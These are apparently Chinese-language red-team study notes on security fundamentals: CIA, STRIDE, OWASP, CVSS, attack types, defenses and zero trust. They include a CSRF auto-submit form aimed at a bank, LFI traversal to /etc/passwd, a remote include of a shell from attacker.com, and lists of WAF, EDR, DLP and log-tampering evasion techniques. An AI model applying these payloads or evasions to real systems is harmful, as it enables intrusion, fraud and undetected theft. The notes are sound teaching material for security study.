目录
- 一、信息安全概述
- 二、CIA三元组
- 三、威胁建模
- 四、漏洞分类体系
- 五、CVE/CVSS评分体系
- 六、攻击类型分类
- 七、防御技术概述
- 八、纵深防御概念
- 九、零信任架构
- 十、安全开发生命周期
- 十一、红队视角总结
一、信息安全概述
信息安全(Information Security)是保护信息和信息系统免受未授权访问、
使用、泄露、破坏、修改或破坏的学科。
三大核心属性:
- CIA三元组
- AAA (Authentication, Authorization, Audit)
- DAD (Disclosure, Alteration, Destruction) - CIA的对立面
红队视角:
攻击者的工作就是在可控范围内打破这些属性,
通过模拟真正的攻击者来测试防御的有效性。
二、CIA三元组
CIA是信息安全最基本的概念框架:
| 属性 | 定义 | 破坏方式 | 保护措施 |
|---|---|---|---|
| Confidentiality (机密性) | 信息只被授权方访问 | 数据泄露、嗅探、社会工程 | 加密、访问控制、分类 |
| Integrity (完整性) | 信息不被未授权篡改 | 数据篡改、MITM、SQL注入修改 | 哈希校验、数字签名、版本控制 |
| Availability (可用性) | 授权用户可在需要时访问 | DDoS、勒索软件、物理破坏 | 冗余、备份、负载均衡、CDN |
扩展属性(CIA延伸):
Authenticity (真实性): 确保信息来源的真实性(非伪造)
Non-repudiation (不可否认性): 行为者不能否认自己的行为(数字签名)
Accountability (可追责性): 行为可追踪到具体个人(审计日志)
红队应用示例:
机密性攻击:窃取数据库中的用户信息(如SQL注入)
完整性攻击:修改转账金额的中间人攻击
可用性攻击:DDoS攻击使服务瘫痪
真实性攻击:伪造登录页面的钓鱼攻击
不可否认性破坏:使用被盗凭证,让追踪更困难
三、威胁建模 (STRIDE模型)
威胁建模是在系统设计阶段系统地识别潜在安全威胁的方法。
【STRIDE模型 - 微软提出】
| 缩写 | 威胁类型 | 违反的属性 | 说明 | 示例 |
|---|---|---|---|---|
| S | Spoofing | 身份欺骗 (Authentication) | 冒充其他用户或系统 | 密码猜测、SID伪造 |
| T | Tampering | 数据篡改 (Integrity) | 恶意修改数据 | SQL注入修改数据库 |
| R | Repudiation | 抵赖 (Non-repudiation) | 否认做过某个操作 | 删除日志否认登录 |
| I | Information Disclosure | 信息泄露 (Confidentiality) | 数据被未授权方获取 | 目录遍历读取源码 |
| D | Denial of Service | 拒绝服务 (Availability) | 合法用户无法访问资源 | SYN Flood、HTTP Flood |
| E | Elevation of Privilege | 权限提升 (Authorization) | 未授权获得更高权限 | SUID提权、Token窃取 |
【红队如何使用STRIDE】
-
为每个目标系统组件识别STRIDE威胁
例如Web登录页面:
S: 暴力破解密码
T: 修改请求参数绕过登录
R: 使用代理隐藏真实IP
I: SQL注入泄露用户表
D: 登录接口被DDoS
E: 普通用户越权访问管理员功能 -
根据STRIDE规划攻击路径
先收集信息 -> 找信息泄露(I)
利用泄露信息猜测口令(S)
成功登录后横向找提权(E)
最后可能有篡改(T)或拒绝服务(D)
【其他威胁建模方法】
PASTA: Process for Attack Simulation and Threat Analysis
OCTAVE: Operationally Critical Threat, Asset, and Vulnerability Evaluation
DREAD: Damage, Reproducibility, Exploitability, Affected Users, Discoverability
VAST: Visual, Agile, and Simple Threat modeling
四、漏洞分类体系
【OWASP Top 10 (2021版) - Web应用最权威的漏洞分类】
01 - 访问控制失效 (Broken Access Control)
越权访问、目录遍历、IDOR(不安全的直接对象引用)
02 - 加密失败 (Cryptographic Failures)
明文传输、弱加密算法、硬编码密钥
03 - 注入 (Injection)
SQL注入、命令注入、LDAP注入、NoSQL注入、OS命令注入
04 - 不安全的设计 (Insecure Design)
缺少安全需求、设计缺陷、业务流程漏洞
05 - 安全配置错误 (Security Misconfiguration)
默认账号密码、不必要的功能开启、详细错误信息泄露
06 - 易受攻击和过时的组件 (Vulnerable and Outdated Components)
已知漏洞的库/框架/软件版本、未打补丁的系统
07 - 身份识别和认证失败 (Identification and Authentication Failures)
弱密码策略、凭证填充、会话管理缺陷
08 - 软件和数据完整性故障 (Software and Data Integrity Failures)
不安全的反序列化、CI/CD管道污染、未验证的更新
09 - 安全日志和监控故障 (Security Logging and Monitoring Failures)
日志不足、未检测到攻击、日志泄漏敏感信息
10 - 服务端请求伪造 (SSRF - Server-Side Request Forgery)
服务器被诱导向内部资源发起请求
【CWE Top 25 - MITRE发布的软件最危险弱点】
CWE-787 Out-of-bounds Write (越界写) - 排名第1
CWE-79 XSS (跨站脚本) - 排名第2
CWE-89 SQL注入 - 排名第3
CWE-416 Use After Free - 排名第4
CWE-78 命令注入 - 排名第5
CWE-125 Out-of-bounds Read (越界读) - 排名第7
CWE-20 输入验证不当 - 排名第6
CWE-22 路径遍历 - 排名第8
CWE-352 CSRF - 排名第9
CWE-434 无限制上传危险文件 - 排名第10
漏洞分类的其他维度:
- 按产生阶段: 设计缺陷, 实现缺陷, 配置缺陷
- 按攻击面: Web, 网络, 主机, 物理, 社会工程
- 按利用条件: 远程, 本地, 需要认证, 不需要认证
五、CVE/CVSS评分体系
【CVE (Common Vulnerabilities and Exposures) 】
CVE编号格式: CVE-YYYY-NNNNN
其中 YYYY = 公开年份, NNNNN = 序号(4-8位数字)
示例: CVE-2017-0144 (永恒之蓝, MS17-010)
CVE由MITRE管理,分配给公开的漏洞和暴露
CVE不等于漏洞库数据库(NVD为CVE提供增强信息)
如何查询CVE:
https://nvd.nist.gov/vuln/detail/CVE-2017-0144
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0144
searchsploit <name> # Exploit-DB本地搜索
cve-search (本地CVE数据库)
红队使用CVE:
- 信息收集时识别目标软件/版本 -> 查CVE -> 找Exploit
- 理解CVE的影响范围和利用条件
- 在渗透报告中引用CVE增加专业度
【CVSS v3.1 (Common Vulnerability Scoring System)】
CVSS将漏洞严重性量化为0.0-10.0的分数。
评分等级:
0.0 - None (无影响)
0.1 - 3.9 - Low (低危)
4.0 - 6.9 - Medium (中危)
7.0 - 8.9 - High (高危)
9.0 - 10.0 - Critical (严重)
CVSS v3.1 三组指标:
【Base Score (基础分) - 漏洞固有特征】
Exploitability Metrics (可利用性):
攻击向量(AV): N(网络), A(相邻), L(本地), P(物理)
攻击复杂度(AC): L(低), H(高)
所需权限(PR): N(无需), L(低), H(高)
用户交互(UI): N(无需), R(需要)
影响度量(Impact):
机密性(C): N, L, H
完整性(I): N, L, H
可用性(A): N, L, H
范围(Scope): U(不变), C(改变)
【Temporal Score (时间分) - 随时间变化】
利用代码成熟度(E): X/未定义, H/高(广泛可用), F/功能代码, P/概念验证, U/未经证实
修复措施(RL): X, U/不可用, W/临时方案, T/官方修复, O/无需
报告可信度(RC): X/未知, C/已确认, R/合理, U/未知
【Environmental Score (环境分) - 特定环境】
机密性要求(CR): X/NotDefined, L/低, M/中, H/高
完整性要求(IR): 同上
可用性要求(AR): 同上
CVSS计算器: https://www.first.org/cvss/calculator/3.1
红队理解CVSS的价值:
- 评估漏洞的实际利用价值
- 如果AC=L(低复杂度)+PR=N(无需认证)+AV=N(网路) -> 优先攻击
- 编写渗透报告时用来表述漏洞严重性
六、攻击类型分类
【DoL DoS/DDoS 拒绝服务攻击】
DoS (Denial of Service): 单一来源
DDoS (Distributed DoS): 多来源(僵尸网络)
常见类型:
- SYN Flood: 大量SYN包占满半连接队列
- UDP Flood: 大量UDP包占满带宽
- HTTP Flood: 大量HTTP请求耗尽Web服务器资源
- Slowloris: 慢速HTTP连接保持,占满连接池
- DNS Amplification: 利用开放DNS解析器放大流量
- NTP Amplification: 利用NTP的monlist命令放大流量
- ICMP Flood (Smurf): 利用广播地址放大
红队场景:渗透测试一般不包含DDoS(容易影响业务),但红队演习中可能
用于声东击西。
【MitM 中间人攻击 (Man-in-the-Middle)】
攻击者置于通信双方之间,拦截/嗅探/篡改通信。
常见形式:
- ARP Spoofing: 伪造ARP应答劫持局域网流量
- DNS Spoofing: 伪造DNS响应指向恶意服务器
- SSL Strip: 将HTTPS降级为HTTP
- Evil Twin: 伪造同名Wi-Fi热点
- Rogue DHCP: 伪造DHCP服务器
- BGP Hijacking: 劫持BGP路由
红队工具: BetterCAP, Ettercap, Responder, mitm6
【Phishing 钓鱼攻击】
社会工程攻击,诱骗用户泄露信息。
常见形式:
- Email Phishing: 伪装合法机构的邮件(最常见的入侵方式)
- Spear Phishing: 针对特定个人/组织的定制钓鱼
- Whaling: 针对高管(C-level)的钓鱼
- Vishing: 语音钓鱼(电话)
- Smishing: SMS/短信钓鱼
- Clone Phishing: 克隆合法邮件但替换链接/附件
红队应用: 钓鱼是红队最常见的初始访问手段(Gophish, EvilGophish)
【XSS 跨站脚本 (Cross-Site Scripting)】
注入恶意JavaScript到Web页面,受害者浏览器中执行。
三种类型:
Reflected XSS: 反射型,恶意脚本在HTTP请求中(需要受害者点击链接)
Stored XSS: 存储型,恶意脚本存储在服务器(留言板、评论)
DOM-based XSS: DOM型,纯客户端,不经过服务端
攻击目标:
- 窃取Cookie/Session -> 账号接管
- 键盘记录 -> 窃取凭证
- 页面篡改 -> 钓鱼/水坑攻击
- 浏览器指纹 -> 追踪受害者
- 利用BeEF框架进行浏览器控制
【SQLi SQL注入 (SQL Injection)】
将SQL代码注入到输入参数中,在数据库执行。
详见 08-数据库基础
【CSRF 跨站请求伪造 (Cross-Site Request Forgery)】
受害者在不知情的情况下通过自己的浏览器发送恶意请求。
前提条件: 受害者已登录目标网站
攻击流程:
1. 受害者已登录bank.com
2. 攻击者诱导受害者访问evil.com,evil.com包含自动提交表单:
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="10000">
</form>
<script>document.forms[0].submit();</script>
3. 受害者浏览器带着bank.com的Cookie发送转账请求
4. 服务器认为是受害者的合法操作
防御:
- CSRF Token (不可预测、嵌入表单)
- SameSite Cookie (Strict/Lax)
- 验证Referer/Origin头
- 自定义请求头(X-Requested-With)
【RCE 远程代码执行 (Remote Code Execution)】
攻击者在目标机器上执行任意代码。
导致RCE的常见漏洞:
- 反序列化漏洞(Java deserialization, ysoserial)
- 命令注入(system(), exec(), popen())
- 文件上传(上传WebShell)
- SSRF结合内部服务
- 模板注入(SSTI)
- 表达式语言注入(EL Injection, OGNL)
红队核心目标:拿到RCE = 初步控制
【LFI/RFI 文件包含 (Local/Remote File Inclusion)】
LFI (本地文件包含):
利用文件包含函数读取本地文件
?page=../../../../etc/passwd
升级到RCE: 利用日志文件注入、/proc/self/environ、PHP Wrapper
RFI (远程文件包含):
包含攻击者服务器上的恶意文件
?page=http://attacker.`com/shell`
注意:PHP默认禁用RFI(allow_url_include=Off)
七、防御技术概述
红队需要理解防御技术,才能找到绕过方法。
【WAF (Web Application Firewall)】
检测和过滤Web应用层的攻击流量。
工作方式:
- 黑名单: 匹配已知攻击签名
- 白名单: 只允许合规的请求
- 行为分析: 检测异常访问模式
常见产品: ModSecurity, CloudFlare WAF, AWS WAF, Imperva
红队绕过WAF:
- 编码绕过(双重URL编码、Unicode编码)
- 大小写变体(SelEcT)
- 注释插入(/**/, #, —)
- 分块传输(HTTP Chunked Transfer)
- 参数污染(HPP - HTTP Parameter Pollution)
- 使用等价函数/语法替换
【IDS/IPS (Intrusion Detection/Prevention System)】
IDS (入侵检测): 检测并告警,不阻断
IPS (入侵防御): 检测并主动阻断
类型:
- 基于网络(NIDS): 分析网络流量(Snort, Suricata, Zeek)
- 基于主机(HIDS): 分析主机活动(OSSEC, Wazuh)
检测方法:
- 签名匹配: 匹配已知攻击模式
- 异常检测: 偏离基线的行为
- 协议分析: 违反协议规范的行为
红队绕过IDS/IPS:
- 流量分片和重组混淆
- 加密通信(HTTPS、自定义加密协议)
- 协议隧道(DNS/ICMP隧道)
- 流量模仿(模拟正常业务流量模式)
- 低速攻击(保持在告警阈值以下)
【EDR (Endpoint Detection and Response)】
端点级别的威胁检测和响应。
功能:
- 进程监控(新进程创建、DLL加载)
- 文件监控(文件创建/修改/删除)
- 网络连接监控
- 内存扫描(检测无文件攻击)
- 行为分析(异常进程行为)
常见产品: CrowdStrike Falcon, SentinelOne, Microsoft Defender for Endpoint,
Carbon Black, Cortex XDR
红队绕过EDR:
- 直接syscall(绕过用户态Hook)
- Unhooking ntdll.dll
- DLL Unhooking
- 进程注入到白名单进程(Process Hollowing)
- 利用LOLBins(系统自带工具绕过)
- 延迟执行/反沙箱
- 内存加密(在调用前解密执行后重新加密)
【SIEM (Security Information and Event Management)】
中央日志收集和分析平台。
功能:
- 收集各类安全日志(防火墙、服务器、应用、EDR等)
- 关联分析(跨数据源发现攻击链)
- 实时告警
- 可视化和报表
常见产品: Splunk, Elastic Stack (ELK), QRadar, Azure Sentinel
红队对抗SIEM:
- 了解SIEM的日志来源(哪些设备的哪些日志)
- 了解告警规则(避免触发)
- 尽量在SIEM盲区操作
- 如果可能,篡改日志源
【DLP (Data Loss Prevention) 数据防泄露】
防止敏感数据被有意或无意地外传。
工作方式:
- 内容检查(识别PII、信用卡号等)
- 传输渠道监控(邮件、FTP、HTTP、USB)
红队绕过DLP:
- 数据分块传输(每块数据不匹配DLP规则)
- 加密数据(传输加密后的数据)
- 隐写术(数据嵌入图片)
- 使用允许的协议和通道
八、纵深防御概念
纵深防御(Defense in Depth)是多层防御策略。
防护层次(洋葱模型):
flowchart TB subgraph DATA[数据安全 Data] direction LR D1["加密 / DLP / 备份"] end subgraph APP[应用安全 Application] direction LR A1["WAF / 代码审查 / 输入验证"] end subgraph HOST[主机安全 Host] direction LR H1["EDR / HIDS / 补丁管理 / 防病毒"] end subgraph NET[网络安全 Network] direction LR N1["防火墙 / IDS/IPS / 网络分段"] end subgraph PHYS[物理安全 Physical] direction LR P1["门禁 / 监控 / 保安"] end DATA --> APP --> HOST --> NET --> PHYS
核心原则: 没有单一的防御手段是完全可靠的
每层都可能被突破,但多层组合大大增加攻击难度
红队视角:
- 纵深防御意味着你需要突破多层防御
- 或者找到贯穿多层的攻击路径(C2 over DNS绕过IDS+WAF+防火墙)
- 攻击者成本 = 各层防御难度的叠加
九、零信任架构
零信任(Zero Trust)是”永不信任,始终验证”的安全架构。
【零信任核心原则】
-
永不隐式信任
无论来自内外网,所有用户、设备、应用都必须验证 -
最小权限原则
用户/系统只拥有完成当前任务所需的最小权限
Just-in-Time (JIT) 访问: 临时授权,用完即收 -
假设已遭入侵
设计时就假设网络中已有攻击者
进行微隔离(Micro-segmentation)限制横向移动 -
持续监控和验证
不只是一次性认证,而是持续评估信任度
基于: 用户身份、设备健康度、行为模式、位置等
【零信任架构组件】
- ZTNA (Zero Trust Network Access): 替代传统VPN
- IAM (Identity and Access Management): 身份管理
- 微分段(Micro-segmentation): 工作负载间的最小化通信
- CASB (Cloud Access Security Broker): 云安全代理
- SWG (Secure Web Gateway): 安全Web网关
【红队面对零信任的挑战】
-
认证难度增加
MFA普遍实施,凭证窃取不够还需要绕过MFA
可能的绕过: MFA疲劳攻击、SIM Swapping、TOTP种子窃取 -
横向移动受限
微分段使每台主机都隔离
需要利用每个目标上自己的凭证
但零信任配置错误任然存在(信任关系配置过于宽松) -
持久性困难
基于设备健康度的持续验证
恶意软件运行环境被持续监测
C2通信被DLP/SWG检测 -
攻击思路转变
从网络攻击转向身份攻击(窃取合法凭证)
从主动扫描转向被动等待
利用零信任本身的配置缺陷
十、安全开发生命周期 (SDL)
SDL (Security Development Lifecycle) 是微软提出的安全开发流程框架。
【SDL七个阶段】
阶段1 - 安全培训 (Training):
对所有开发人员进行安全培训
安全编码最佳实践、隐私要求、威胁建模
阶段2 - 安全需求 (Requirements):
在需求分析阶段纳入安全考量
隐私影响评估、安全里程碑定义
阶段3 - 安全设计 (Design):
架构风险评估、创建威胁模型(STRIDE)
确定信任边界、数据流安全分析
阶段4 - 安全实现 (Implementation):
使用经批准的工具和库
静态代码分析(SAST)集成到开发流程
不使用被弃用的/不安全的API
阶段5 - 安全验证 (Verification):
动态代码分析(DAST)进行渗透测试
模糊测试(Fuzzing)
攻击面审查(Attack Surface Review)
阶段6 - 安全发布 (Release):
最终安全审查(FSR - Final Security Review)
应急响应计划
阶段7 - 安全响应 (Response):
安全事件响应执行
漏洞反馈处理
更新和补丁管理
【DevSecOps - SDL的现代演进】
将安全集成到DevOps流程中:
- “Shift Left”: 安全左移,在开发早期就介入安全
- 持续安全测试: CI/CD管道中的自动SAST/DAST/SCA
- 容器安全: 镜像扫描、运行时安全
- IaC安全: 基础设施即代码的安全扫描(Terraform, K8s YAML)
红队理解SDL的价值:
- 快速了解目标可能存在的安全防护级别
- 识别SDL各阶段的常见人性失误
- 理解为什么某些漏洞不存在(如果SDL执行良好)
- 评估目标的SDL成熟度(决定攻击策略)
十一、红队视角总结
红队需要掌握安全基础概念的核心原因:
-
理解攻击目标
CIA让你明白每次攻击的具体目标是什么 -
威胁建模 = 攻击路径规划
STRIDE帮你系统性地思考攻击面而非随机尝试 -
OWASP Top 10 = 命中率高的问题清单
绝大多数Web应用一定有至少一项OWASP Top 10问题 -
CVE/CVSS = 漏洞价值评估
帮助你从海量CVE中快速找出最值得利用的 -
理解防御 = 知道如何绕过
不了解WAF/EDR原理就无法真正绕过它们 -
零信任 = 新的攻击挑战
红队必须适应零信任环境下的新攻击技术 -
SDL = 理解漏洞根源
知道漏洞是如何产生的才能更好地利用它
记忆口诀:
CIA是目标,STRIDE是方法,OWASP是方向
CVE是弹药,CVSS是烈度,防御是障碍
纵深防御是厚度,零信任是新挑战